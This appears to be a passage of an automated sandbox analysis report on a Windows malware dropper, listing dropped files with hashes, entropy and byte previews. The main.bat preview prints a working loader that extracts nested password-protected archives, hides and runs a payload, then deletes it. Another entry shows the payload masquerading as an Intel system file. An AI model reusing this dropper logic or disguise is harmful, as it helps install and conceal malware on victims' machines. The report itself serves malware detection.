SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
